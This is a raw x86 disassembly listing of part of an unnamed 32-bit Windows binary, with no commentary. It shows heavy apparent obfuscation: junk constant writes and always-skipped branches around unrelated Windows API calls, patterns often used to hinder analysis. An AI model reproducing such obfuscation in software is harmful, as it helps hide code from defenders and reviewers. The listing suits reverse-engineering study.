mov eax, ebx
inc ecx
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe7
je 0x10035ecc
push 3
pop esi
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x1dc]
push 9
cmp ecx, dword [eax]
mov eax, dword [ebp - 0xc8]
setle dl
xor ecx, ecx
add eax, edx
pop edx
cmp eax, edx
mov eax, dword [ebp - 0x44]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0xc8]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0xc8], ecx
lea ecx, [ebp - 0x1dc]
or dword [ebp - 4], 0xffffffff
call fcn.1000efca
movdqa xmm0, xmmword [0x10007f10]
lea eax, [ebp - 0x7e4]
push ecx
push eax
mov dword [ebp - 0x44], esi
lea ecx, [ebp - 0x8f8]
push edi
movdqu xmmword [ebp - 0x7f4], xmm0
call fcn.1002f5e8
push ecx
lea eax, [ebp - 0x870]
mov dword [ebp - 4], 6
push eax
lea eax, [ebp - 0x880]
xorps xmm0, xmm0
push eax
lea ecx, [ebp - 0x5d4]
movdqu xmmword [ebp - 0x880], xmm0
call fcn.1002f5e8
push esi
lea ecx, [ebp - 0x4c0]
mov byte [ebp - 4], 7
call fcn.1000e440
xor ecx, ecx
mov byte [ebp - 4], 8
inc ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], esi
jge 0x100360d0
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c0]
mov dword [eax + ecx*4], 0x7bc35240
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100360b5
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x5d4]
mov dword [eax], esi
jmp 0x10036190
push ecx
mov dword [ebp - 0x40], 4
lea ecx, [ebp - 0x370]
call fcn.1000e440
xor edx, edx
mov dword [ebp - 0x58], 0xe26a25a9
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x10036112
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x370]
mov dword [eax + ecx*4], 0x60f181e2
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x100360ff
mov eax, dword [ebp - 0x1dc]
xor edx, edx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setne dl
sub edx, ecx
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x44], edx
je 0x10036138
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x370]
mov dword [eax], ecx
mov dword [ebp - 0x58], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1dc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x370]
cmp dword [eax], edx
sete cl
xor eax, eax
cmp ecx, 0x6de1
setne al
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x370]
setle al
mov dword [ebp - 0xc8], eax
call fcn.1000efca
jmp 0x10035ff2
xor ecx, ecx
inc ecx
push ecx
mov dword [ebp - 0x30], 0xffffffff
lea ecx, [ebp - 0x430]
call fcn.1000e440
xor edx, edx
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x100361be
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x430]
mov dword [eax + ecx*4], 0x7e813a3d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x100361ab
cmp dword [ebp - 0x30], 7
je 0x100361f0
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x430]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x30]
cmp ecx, 0x6076
setge dl
imul eax, edx
test eax, eax
je 0x100361f0
xor eax, eax
lea ecx, [eax + 1]
jmp 0x100361f2
mov ecx, ebx
mov eax, dword [ebp - 0x430]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x4c0]
mov dword [eax], ecx
lea ecx, [ebp - 0x430]
call fcn.1000efca
mov eax, dword [ebp - 0x5d4]
dec dword [eax]
jns 0x1003618d
lea ecx, [ebp - 0x4c0]
call fcn.1000efca
lea ecx, [ebp - 0x5d4]
call fcn.1000efca
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8f8]
call fcn.1000efca
xor eax, eax
mov byte [ebp - 0xd], bl
inc eax
lea ecx, [ebp - 0x388]
push eax
call fcn.1000e440
xor edx, edx
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x10036274
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x388]
mov dword [eax + ecx*4], 0x1124f01c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10036261
mov dword [ebp - 0x1c], ebx
jmp 0x100362a1
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x388]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x388]
cmp dword [eax + ecx*4], ebx
jne 0x100362a6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1003627e
lea ecx, [ebp - 0x388]
call fcn.1000efca
cmp byte [ebp - 0xd], 0
je 0x100363a0
push 4
lea ecx, [ebp - 0x490]
call fcn.1000e440
push 9
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x4d8]
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x2c], 0x62939c01
mov dword [ebp - 0x40], 0xffffffff
push 2
call fcn.1000e440
push 4
mov dword [ebp - 0x18], ebx
pop edx
jmp 0x10036307
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x490]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x100362f8
mov dword [ebp - 0x18], ebx
jmp 0x10036324
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4d8]
mov dword [eax + ecx*4], 0x49e3c8d3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10036311
mov ecx, dword [ebp - 0x490]
xor eax, eax
cmp dword [ecx + 4], 0xa53a
setl al
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x2c], ebx
je 0x10036349
cmp dword [ebp - 0x40], ebx
jne 0x1003634c
mov eax, dword [ebp - 0x40]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp - 0x30]
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, ecx
setge dl
xor eax, eax
test ecx, ecx
sete al
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x4d8]
setle cl
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x4d8]
call fcn.1000efca
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x490]
call fcn.1000efca
xor eax, eax
inc eax
push eax
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov dword [ebp - 0x1c], 0xfffffffc
xor ecx, ecx
mov dword [ebp - 0x2c], ebx
inc ecx
mov dword [ebp - 0x34], 0x43c4ab2
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0xd085c9e5
mov dword [ebp - 0x34], 0x4f27d270
mov dword [ebp - 0x34], 0x315362da
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0x452a26f3
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x20], ebx
jmp 0x100363eb
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x6b4], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100363de
mov dword [ebp - 0x1c], ebx
jmp 0x100363fe
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100363f5
dec dword [ebp - 0x40]
lea ecx, [ebp - 0x400]
push 2
call fcn.1000e440
mov dword [ebp - 0x20], ebx
jmp 0x1003642c
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x400]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10036419
mov eax, dword [ebp - 0x400]
or dword [eax], 0xffffffff
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1003644c
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov eax, dword [ebp - 0x400]
inc dword [eax]
cmp dword [eax], 0x19
jl 0x1003643b
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10036472
xor eax, eax
inc eax
push eax
push ebx
push 0x1b90
call dword [sym.imp.USER32.dll_SetWindowRgn]
lea ecx, [ebp - 0x400]
call fcn.1000efca
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10036758
mov dword [ebp - 0x1c], 0xfffffff7
xor eax, eax
mov dword [ebp - 0x58], 0x285faafe
inc eax
mov dword [ebp - 0x44], 0x245f5b1b
push 9
mov dword [ebp - 0x14], 0xdca27289
mov dword [ebp - 0x40], eax
pop ecx
mov dword [ebp - 0x28], ecx
push 4
pop ecx
mov dword [ebp - 0x54], 0x72b752bf
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], 0x889b
push ecx
mov dword [ebp - 0x4c], 0x2089ce3
lea ecx, [ebp - 0x4f0]
mov dword [ebp - 0x34], eax
call fcn.1000e440
xor edx, edx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x100364f8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xec], 0x66e9f086
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x100364e7
mov dword [ebp - 0x18], ebx
jmp 0x10036511
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4f0]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10036502
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1003652a
push ebx
call dword [sym.imp.USER32.dll_RegisterClassW]
xor edx, edx
inc edx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x30]
test eax, eax
je 0x10036544
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xec], eax
test eax, eax
jne 0x10036546
mov edx, ebx
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
add ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x28]
jl 0x1003656f
mov dword [ebp - 0x14], 0x4fd3df75
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1003677a
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10036777
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jg 0x10036767
mov dword [ebp - 0x44], 2
cmp dword [ebp - 0x44], ebx
jl 0x10036a22
push 5
pop edi
mov dword [ebp - 0x18], 0x824a8c6a
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x4c], 0xfffffffb
mov dword [ebp - 0x18], ebx
jmp 0x100367c7
mov dword [ebp - 0x34], 0x137b1891
mov dword [ebp - 0x2c], 0x6ccb0362
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff1
jle 0x100367b0
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov eax, dword [ebp - 0x30]
inc ecx
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x18]
cmp eax, ecx
jl 0x100367e8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x10035e51
push 4
pop edi
cmp dword [ebp - 0x24], ebx
jne 0x10036a5a
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov edx, ebx
cmp eax, edx
setge cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
inc ecx
mov eax, dword [ebp - 0x5e8]
sub ecx, eax
sub ecx, 0x20dd
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], 0x2c03342e
mov dword [ebp - 0x1c], ebx
jmp 0x10036a9d
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10036a9a
push ebx
push 0x163f
call dword [sym.imp.USER32.dll_EndPaint]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1b
je 0x10036a85
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add edx, 0x2631
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setg cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov dword [ebp - 0x44], 0x4f833fcb
inc ecx
mov dword [ebp - 0x14], ebx
jmp 0x10036adb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x218], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10036ace
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10036afc
push 0xf40
push 0x26d4
call dword [sym.imp.USER32.dll_GetWindowLongW]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], ebx
jl 0x10036bbc
jmp 0x10036b0d
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
push 5
mov dword [ebp - 0x34], 0xfffffffe
mov dword [ebp - 0x34], ecx
pop eax
mov dword [ebp - 0x34], ebx
push ecx
mov dword [ebp - 0x34], 0x735b263d
lea ecx, [ebp - 0x784]
mov dword [ebp - 0x34], eax
call fcn.1000e440
xor edx, edx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x10036b54
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x784]
mov dword [eax + ecx*4], 0x956e74e8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10036b41
mov dword [ebp - 0x18], ebx
jmp 0x10036b7b
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10036b6e
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x218]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10036b5e
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10036ba8
mov dword [ebp - 0x34], 0xdfd9
mov dword [ebp - 0x34], 0x9753589f
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0x302aff63
inc dword [ebp - 0x4c]
dec dword [ebp - 0x18]
jns 0x10036b88
lea ecx, [ebp - 0x784]
call fcn.1000efca
dec dword [ebp - 0x44]
jns 0x10036b0a
push esi
lea ecx, [ebp - 0x3a0]
call fcn.1000e440
push 9
mov dword [ebp - 4], 0xa
pop eax
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x3c], eax
push 5
pop eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x10036c01
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3a0]
mov dword [eax + ecx*4], 0xb9b55bb2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10036bee
push 2
pop ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], ebx
jl 0x10036ec6
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x4c], 0x8d550032
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], ebx
jl 0x10036ebd
mov dword [ebp - 0x1c], ebx
xor eax, eax
mov dword [ebp - 0x40], 0x48ec
inc eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], ebx
jl 0x10036e74
push esi
lea ecx, [ebp - 0x508]
call fcn.1000e440
xor ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], ebx
jmp 0x10036c6c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7c], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10036c5e
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], esi
jge 0x10036c94
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x508]
mov dword [eax + ecx*4], 0xf885ea6e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10036c79
xor ecx, ecx
inc ecx
mov dword [ebp - 0x7c], ebx
cmp dword [ebp - 0x7c], 2
jg 0x10036e59
mov dword [ebp - 0x34], 0x141d
cmp dword [ebp - 0x34], 0x8a9
jge 0x10036d6b
lea eax, [ebp - 0x188]
push eax
push 0x100077f4
call fcn.100513ab
cmp dword [ebp - 0x188], 0
mov edi, ebx
pop ecx
pop ecx
jle 0x10036d68
lea eax, [ebp - 0x19c]
push eax
push 0x10ab412c
push 0x1000791c
call fcn.100513ab
add esp, 0xc
mov eax, ebx
cmp dword [ebp - 0x19c], 0
mov dword [ebp - 0x4c], eax
jle 0x10036d4b
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x2b4]
push eax
push 0x1000791c
call fcn.100513ab
mov eax, dword [ebp - 0x2b4]
add esp, 0xc
cdq
idiv dword [0x10ab412c]
mov ecx, edx
mov edx, dword [ebp - 0x2bc]
call fcn.10034f59
add eax, dword [ebp - 0x4c]
cdq
idiv dword [0x10ab412c]
inc ebx
mov eax, edx
mov dword [ebp - 0x4c], eax
cmp ebx, dword [ebp - 0x19c]
jl 0x10036cfe
push eax
push 0x1000782c
call fcn.100515a0
pop ecx
pop ecx
inc edi
push 0
pop ebx
cmp edi, dword [ebp - 0x188]
jl 0x10036cd7
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x10036e49
mov edi, dword [ebp - 0x508]
mov dword [ebp - 0x20], 0xfffffff7
mov dword [ebp - 0x20], ebx
jmp 0x10036daa
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10036da7
push 0x2411
call dword [sym.imp.USER32.dll_GetQueueStatus]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x10036d93
push 5
pop eax
mov dword [edi + 4], eax
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setne dl
mov dword [ebp - 0x30], edx
mov esi, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x24]
neg esi
mov eax, dword [ebp - 0x1c]
sbb esi, esi
xor edx, edx
neg esi
sub esi, eax
imul esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3a0]
cmp dword [eax + ecx*4], esi
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, dword [edi + 4]
setg al
xor edx, edx
mov dword [ebp - 0x4c], eax
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setge dl
imul edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3a0]
mov dword [eax + esi*4], edx
dec dword [ebp - 0x18]
jns 0x10036d87
xor ecx, ecx
inc ecx
inc dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], 2
jle 0x10036ca1
push 3
pop esi
lea ecx, [ebp - 0x508]
mov byte [ebp - 4], 0xa
call fcn.1000efca
dec dword [ebp - 0x1c]
jns 0x10036c47
push 2
pop ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
xor eax, eax
inc eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], 0x8a7991ad
dec dword [ebp - 0x28]
jns 0x10036c2b
dec dword [ebp - 0x24]
jns 0x10036c15
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3a0]
call fcn.1000efca
mov dword [ebp - 0x1c], 0x2c03342e
mov dword [ebp - 0x1c], ebx
jmp 0x10036ef9
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10036ef6
push ebx
push 0x163f
call dword [sym.imp.USER32.dll_EndPaint]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1b
je 0x10036ee1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add edx, 0x2631
neg edx
push 2
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setg cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x460]
call fcn.1000e440
mov dword [ebp - 0x14], ebx
jmp 0x10036f40
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x460]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10036f2d
mov eax, dword [ebp - 0x460]
or dword [eax], 0xffffffff
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10036f60
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov eax, dword [ebp - 0x460]
inc dword [eax]
cmp dword [eax], 0x19
jl 0x10036f4f
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10036f86
xor eax, eax
inc eax
push eax
push ebx
push 0x1b90
call dword [sym.imp.USER32.dll_SetWindowRgn]
lea ecx, [ebp - 0x460]
call fcn.1000efca
mov dword [ebp - 0x34], 0x214b
cmp dword [ebp - 0x34], 0x1238
jge 0x100370ab
push 0x9c
lea eax, [ebp - 0xa07]
mov byte [ebp - 0xa08], bl
push ebx
push eax
call fcn.10051650
add esp, 0xc
mov dword [ebp - 0x8c], ebx
lea eax, [ebp - 0x8c]
push eax
push 0x100077f4
call fcn.100513ab
lea eax, [ebp - 0xdc]
mov dword [ebp - 0xfc], ebx
push eax
lea eax, [ebp - 0xfc]
mov dword [ebp - 0xdc], ebx
push eax
push 0x1000791c
call fcn.100513ab
mov esi, dword [ebp - 0xfc]
add esp, 0x14
mov edi, dword [ebp - 0xdc]
cmp esi, edi
jge 0x10037083
mov eax, edi
sub eax, esi
push eax
xor eax, eax
inc eax
push eax
lea eax, [ebp - 0xa08]
add eax, esi
jmp 0x1003707a
lea eax, [ebp - 0x120]
mov dword [ebp - 0x124], ebx
push eax
lea eax, [ebp - 0x124]
mov dword [ebp - 0x120], ebx
push eax
push 0x1000791c
call fcn.100513ab
mov ecx, dword [ebp - 0x124]
add esp, 0xc
mov esi, dword [ebp - 0xfc]
cmp ecx, esi
mov eax, dword [ebp - 0x120]
mov edi, dword [ebp - 0xdc]
cmovl ecx, esi
cmp edi, eax
cmovl eax, edi
cmp ecx, eax
jge 0x10037083
sub eax, ecx
push eax
lea eax, [ebp - 0xa08]
push ebx
add eax, ecx
push eax
call fcn.10051650
add esp, 0xc
dec dword [ebp - 0x8c]
jne 0x10037021
mov ecx, ebx
jmp 0x1003709a
movzx eax, byte [ebp + esi - 0xa08]
add ecx, eax
inc esi
cmp esi, edi
jl 0x1003708f
push ecx
push 0x1000782c
call fcn.100515a0
pop ecx
pop ecx
mov dword [ebp - 0x24], 0x8abc
xor edx, edx
mov dword [ebp - 0x20], 0xd8fb8cef
inc edx
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x4c], 0xfcbc8423
mov dword [ebp - 0x14], ebx
jmp 0x100370e0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x90], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100370cf
cmp dword [ebp - 0x24], ebx
je 0x100370ed
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, edx
push 3
setge cl
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
pop edi
setne cl
xor eax, eax
cmp ecx, 0xd8d9
setne al
test eax, eax
jle 0x1003717f
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x34], 0xffffffff
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x4c]
sub edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, 0x7ba9
mov eax, dword [ebp - 0x20]
setge cl
imul edx, ecx
xor ecx, ecx
cmp eax, edx
setle cl
sub ecx, 0x95e1
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 1
setg al
mov dword [ebp - 0x34], eax
jmp 0x10037268
push edi
lea ecx, [ebp - 0x3b8]
call fcn.1000e440
mov dword [ebp - 0x4c], 0xfffffffb
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x100371b5
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3b8]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100371a5
mov esi, dword [ebp - 0x3b8]
cmp dword [esi + 8], ebx
jne 0x100371c8
mov eax, dword [ebp - 0x20]
mov ecx, dword [esi + 8]
cmp ecx, 0x4640
jle 0x100371de
test ecx, ecx
je 0x100371de
xor eax, eax
lea edx, [eax + 1]
jmp 0x100371e0
mov edx, ebx
xor eax, eax
cmp edx, ecx
setg al
imul eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], ebx
je 0x100371f6
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov ecx, 0x98b
mov dword [ebp - 0x4c], eax
xor edx, edx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x44]
sub ecx, eax
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3b8]
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x90]
setle dl
sub eax, edx
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, dword [esi + 8]
setge al
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jne 0x10037244
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x44]
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x90]
cmp ecx, eax
lea ecx, [ebp - 0x3b8]
setne dl
mov dword [ebp - 0x90], edx
call fcn.1000efca
xor ecx, ecx
mov dword [ebp - 0x3c], 0x4f833fcb
mov dword [ebp - 0x14], ebx
inc ecx
jmp 0x10037284
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2cc], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10037277
push 4
lea ecx, [ebp - 0x75c]
call fcn.1000e440
mov dword [ebp - 0x20], 0x3fe662db
mov dword [ebp - 0x34], 0x9fff12f3
mov dword [ebp - 0x34], 0x4a11600d
mov dword [ebp - 0x34], 0xc5530c4e
mov dword [ebp - 0x14], ebx
jmp 0x100372ca
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x75c]
mov dword [eax + ecx*4], 0x6df37d45
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100372b7
xor eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], ebx
jl 0x10037325
mov dword [ebp - 0x14], 0xccb97252
